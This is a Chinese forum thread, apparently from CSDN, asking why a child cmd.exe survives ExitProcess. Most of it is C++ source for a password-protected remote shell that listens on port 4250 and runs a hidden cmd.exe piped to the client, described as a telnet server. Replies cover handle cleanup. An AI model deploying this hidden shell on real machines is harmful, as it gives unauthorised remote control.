请见最后的Exit6和Exit5部分
非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)#include <winsock2.h>
#include <windows.h>#pragma comment(lib,"ws2_32.lib")/*
MyRecv的功能是在一个指定的套接字*psockid上接受最多buflen个字符
到pbuf指向的缓冲区中,或是收到回车也返回,因为telnet是按一下键发一个字符的
*/bool bStart = false;
int  iThreadCount = 0;long MyRecv(SOCKET *psockid=NULL,
char *pbuf=NULL,
const unsigned long buflen=0);DWORD WINAPI UserThread(SOCKET *UserSockid=NULL);const char *baner = "\n\rAuthor:\tsjdf\n\rEmail:\[email protected]\n\r\n\r";
const char *pwd = "123456";
int pwdlen = strlen(pwd);int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  // TODO: Place code here.

const unsigned short myport = 4250;
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,0),&wsadata) != 0)
{
return 1;
}

SOCKET sockid = INVALID_SOCKET;
if ((sockid = socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
{
WSACleanup();
return 1;
} sockaddr_in srv_addr;
int addrlen = sizeof(srv_addr); srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.S_un.S_addr = INADDR_ANY;
srv_addr.sin_port = htons(myport);
memset(&srv_addr.sin_zero,0,8); if (bind(sockid,(sockaddr*)&srv_addr,addrlen) < 0)
{
closesocket(sockid);
WSACleanup();
return 1;
} listen(sockid,3);
SOCKET *msgsockid = NULL;
DWORD threadid; while (true) //循环等待,如有新的连接请求就接收
{
msgsockid = new SOCKET;
*msgsockid = accept(sockid, (sockaddr*)&srv_addr,NULL);
if (*msgsockid == INVALID_SOCKET)
{
delete msgsockid;
Sleep(1000);
}
else
{
if (CreateThread(0,
0,
(LPTHREAD_START_ROUTINE)UserThread,
msgsockid,
0,
&threadid) == NULL)
{
delete msgsockid;
Sleep(1000);
}
}
} return 0;
}long MyRecv(SOCKET *psockid,char *pbuf,const long buflen)
{
memset(pbuf,0,buflen);
long count = 0;
do
{
if (count >= buflen)
{
return count;
} if (recv(*psockid,pbuf+count,1,0) < 0)
{
return -1;
} }while (pbuf[count++] != '\n'); return count;
}//为每个用户使用这个线程创建shellDWORD WINAPI UserThread(SOCKET *UserSockid)
{
char recvbuf[1024];
char sendbuf[2048];
const long recvbuflen = sizeof(recvbuf);
const long sendbuflen = sizeof(sendbuf); unsigned long cmdtouserlen,usertocmdlen;

HANDLE hClientReadPipe, hClientWritePipe;
HANDLE hCmdWritePipe, hCmdReadPipe;

PROCESS_INFORMATION processinfo;

    iThreadCount++; //接收口令
if (MyRecv(UserSockid,recvbuf,recvbuflen) < 0)
{
goto exit3;
} //验证口令
if (memcmp(recvbuf,pwd,pwdlen) != 0)
{
goto exit3;
}

//发送登录Baner
if (send(*UserSockid,baner,strlen(baner),0) < 0)
{
goto exit3;
} //创建管道
SECURITY_ATTRIBUTES pipeattr;
pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE; if (CreatePipe(&hClientReadPipe,
&hCmdWritePipe,
&pipeattr,
0) == 0)
{
goto exit3;
} if (CreatePipe(&hCmdReadPipe,
&hClientWritePipe,
&pipeattr,
0) == 0)
{
goto exit4;
} //启动cmd.exe
STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hCmdReadPipe;
startinfo.hStdError = hCmdWritePipe;
startinfo.hStdOutput = hCmdWritePipe;
startinfo.wShowWindow = SW_HIDE;

char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1); strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP,
NULL,
NULL,
NULL,
true,
0,
NULL, 
NULL,
&startinfo,
&processinfo) == 0)
{
goto exit5;
}

while(true)
{
if (PeekNamedPipe(hClientReadPipe,
sendbuf,
sendbuflen,
&cmdtouserlen,
0,
0) == 0)
{
goto exit5;
} if(cmdtouserlen == 0)
{
if ((usertocmdlen=MyRecv(UserSockid,recvbuf,recvbuflen)) < 0)
{
goto exit5;
}

if (WriteFile(hClientWritePipe,
recvbuf,
usertocmdlen,
&usertocmdlen,
0) == 0)
{
goto exit5;
} if (memcmp(recvbuf,"exit",4) == 0)
{
goto exit5;
}            if (memcmp(recvbuf,"shut",4) == 0)
{
goto exit6;
} Sleep(200);
}
else
{
memset(sendbuf,0,sendbuflen);
if (ReadFile(hClientReadPipe,
sendbuf,
cmdtouserlen,
&cmdtouserlen,0) == 0)
{
goto exit5;
} if (send(*UserSockid,sendbuf,cmdtouserlen,0) == SOCKET_ERROR)
{
goto exit5;
}
}
}exit6:  CloseHandle(hCmdReadPipe);
        CloseHandle(hClientReadPipe);
        closesocket(*UserSockid);
        delete UserSockid;
        ExitProcess(0); exit5: CloseHandle(hCmdReadPipe);
exit4: CloseHandle(hClientReadPipe);
exit3: closesocket(*UserSockid);
exit2: delete UserSockid;
exit1: return 1;
}非常奇怪,我的程序如果是从exit5往下执行,产生的cmd.exe子进程居然可以退出。难道是因为cmd.exe子进程是由该子线程产生的,线程退出,则cmd.exe子进程也退出了。而直接从Exit6用ExitProcess结束进程,cmd.exe却并不会终止(这里是越想越混大虾请指点)

解决方案 »

  1.   

    Its so long than I cant understand it.
      

  2.   

    有这样的情况吗??使用CreateProcess创建进程之后,他并不会因为创建进程的退出而退出,这应该是可以肯定的。可能的原因是:你用return 1退出代表非正常退出,而使用ExitProcess(0)代表正常退出,难道Windows在这上面会有区别吗??不明白帮你顶下先咯。
      

  3.   

    这个程序是CSDN上一位朋友的,我就改了一点点。
    程序我也没全部弄懂,大致解释一下。
    程序功能:实现一个telnet服务器,支持最多3个客户
    实现原理:首先建立一侦听的socket,如有客户端请求连接,则另产生一个socket与客户建立连接。并用CreateThread产生一个子线程来处理和客户端的连接,在该子线程中用CreateProcess打开一个cmd.exe进程。
    如下:
      客户端----------程序进程---------cmd.exe进程
    客户端和程序进程之间通过socket进行网络通讯。
    程序进程和cmd.exe之间则通过CreatePipe建立了两条不同方向的管道来进行通讯。
    例如客户端发送dir给程序进程,程序进程通过管道,发给cmd.exe。
    cmd.exe执行dir,将结果通过管道,发给程序进程,再由程序进程发给客户端。
    从而实现远程的telnet操作。
      

  4.   

    这个程序写的不好,这两种情况实际不同。你用ExitProcess(0)结束进程实际隐含CloseHandle(hCmdWritePipe),CloseHandle(hClientWritePipe)。而return 1时,hCmdWritePipe和hClientWritePipe都没有关闭,cmd.exe不知道PIPE的对端已经没有线程在接受了,如果试图向hCmdWritePipe里写东西,不知会产生什么结果,可能超时(不知cmd.exe的实现代码),可能它认为出错退出了。这个程序有好几个地方写的不好...
      

  5.   

    cxu123(cxu) :
    同意你的观点。我也感觉在结束线程时各种资源的释放好象比较混乱,再加上我也是刚刚接触这些东西,实在觉得无法弄清头绪,有时只能凭猜测。不过在线程用return 1结束后,cmd.exe进程居然能够终止,这点我怎么都想不出合适的理由。我在ExitProcess前面加了个
    TerminateProcess(processinfo.hProcess,0)将cmd.exe进程中止了,不过感觉似乎还有资源未释放的问题,还请大家帮忙分析指点。
      

  6.   

    你还是应该在return 1之前加上CloseHandle(hCmdWritePipe),CloseHandle(hClientWritePipe),这两个HANDLE在你线程(return 1)结束后没有释放。留着没用会出问题,因为另一部分PIPE hCmdReadPipe,hClientReadPipe 已经关闭
      

  7.   

    up 一下,  terminateProcess之前需要用enumProcess来枚举进程信息吗? 如果进程ID不知道的话? 还有什么方法不用enumprocess?